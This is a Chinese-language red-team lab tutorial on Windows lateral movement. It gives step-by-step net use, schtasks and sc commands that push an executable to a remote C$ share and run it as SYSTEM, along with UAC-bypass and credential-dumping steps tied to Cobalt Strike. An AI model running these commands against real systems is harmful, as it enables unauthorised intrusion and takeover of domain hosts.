IPC配合计划任务横向移动
IPC$介绍
IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。
首先,需要建立一个ipc$
net use \\192.168.41.30\ipc$ "密码" /user:administrator
net use
IPC$利用条件
1、开启了139、445端口
ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445( Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipcs需要139、445端口的支持。
2、管理员开启了默认共享默认共享
是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等和系统目录winnt或windows( adminS)通过ipc$,可以实现对这些默认共享目录的访问
IPC$连接失败原因
用户名或密码错误
目标没有打开ipcs默认共享
不能成功连接目标的139、445端口
IPC$连接常见错误
错误号5:拒绝访问
错误号51: Windows无法找到网络路径,即网络中存在问题。
错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动目标有防火墙(端口过滤)
错误号67:找不到网络名,包括lanmanworkstation服务未启动、ipcs已被删除
错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进行连接。
错误号1326:未知的用户名或错误的密码
错误号l792;试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)。
错误号2242:此用户的密码已经过期°例如’目标机器设置了账号管理策略,强制用户定期修改密码°
实验步骤
实验环境:
Ip | 用户 | 密码 | 权限 |
192.168.113.153 | Jack | qax@123 | 域内普通用户 |
192.168.113.154 | krbuser | qax@123 | 域管理员 |
192.168.113.152 | Administrator | qax@123 | 域控 |
现在只打下来了用户jack,目标:让jack用户横向到krbuser用户
三个机器防火墙正常开启
1.已经打下jack用户:
2.尝试抓取明文密码
失败了
失败的原因是因为,在执行这个命令时,必须需要是这个用户的管理员权限,就像这个:
所以我们需要特权去绕过
3.提权并榨取明文密码
我试了很多,也耽搁了很长时间,但是在win10里面,就只有uac-token-duplication
能用:
后面抓取明文密码为“qax@123”
4.尝试读取192.168.113.154(krbuser)文件
net share
本机的文件共享是打开的
shell dir \\192.168.113.154\C$
失败
5.建立连接,访问成功
shell net use \\192.168.113.154\ipc$ "qax@123" /user:test\krbuser
shell net use
6.让krbuser上线到CS4.8
查看进程
shell tasklist /s 192.168.113.154
可以查看防火墙等情况
查看时间
net time \\192.168.113.154
7.将123.exe复制到krbuser
copy 文件 \\IP地址\C$
copy 123.exe \\192.168.113.154\C$
8. 创建计划任务,执行123.exe
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
shell schtasks /create /u krbuser /p qax@123 /s 192.168.113.154 /tn 123 /sc onstart /tr c:\123.exe /ru system /f
schtasks /run /s IP地址 /i /tn "计划任务名"
schtasks /run /s 192.168.113.154 /i /tn "123"
这里失败了,我们换一个方式
成功上线
IPC配合系统服务横向移动
获取到密码并着手横向时,却发现Task Sheduler服务没有启用。这时候我们就可以远程建立服务,然后再启用服务来运行我们想要运行的命令。
使用sc横向具体步骤
创建服务
sc \\192.168.113.154 create test binpath= "cmd.exe /c c:\123.exe"
开启服务
sc \\192.168.113.154 start test
一下就成功了
删除服务
sc \\192.168.17.138 delete test
但是这个很明显:
都可以很明显的发现异常,隐藏方法在后面权限维持会讲
sc的其他命令:
描述:SC 是用来与服务控制管理器和服务进行通信的命令行程序。
用法:sc <server> [command] [service name] <option1> <option2>...
<server> 选项的格式为 "\\ServerName"可通过键入以下命令获取有关命令的更多帮助: "sc
[command]"
命令:
query-----------查询服务的状态,或枚举服务类型的状态。
queryex---------查询服务的扩展状态,或枚举服务类型的状态。
start-----------启动服务。
pause-----------向服务发送 PAUSE 控制请求。
interrogate-----向服务发送 INTERROGATE 控制请求。
continue--------向服务发送 CONTINUE 控制请求。
stop------------向服务发送 STOP 请求。
config----------更改服务的配置(永久)。
description-----更改服务的描述。
failure---------更改失败时服务执行的操作。
failureflag-----更改服务的失败操作标志。
sidtype---------更改服务的服务 SID 类型。
privs-----------更改服务的所需特权。
managedaccount--更改服务以将服务帐户密码标记为由 LSA 管理。
qc--------------查询服务的配置信息。
qdescription----查询服务的描述。
qfailure--------查询失败时服务执行的操作。
qfailureflag----查询服务的失败操作标志。
qsidtype--------查询服务的服务 SID 类型。
qprivs----------查询服务的所需特权。
qtriggerinfo----查询服务的触发器参数。
qpreferrednode--查询服务的首选 NUMA 节点。
qmanagedaccount-查询服务是否将帐户与 LSA 管理的密码结合使用。
qprotection-----查询服务的进程保护级别。
quserservice----查询用户服务模板的本地实例。
delete ----------(从注册表中)删除服务。
create----------创建服务(并将其添加到注册表中)。
control---------向服务发送控制。
sdshow----------显示服务的安全描述符。
sdset-----------设置服务的安全描述符。
showsid---------显示与任意名称对应的服务 SID 字符串。
triggerinfo-----配置服务的触发器参数。
preferrednode---设置服务的首选 NUMA 节点。
GetDisplayName--获取服务的 DisplayName。
GetKeyName------获取服务的 ServiceKeyName。
EnumDepend------枚举服务依赖关系。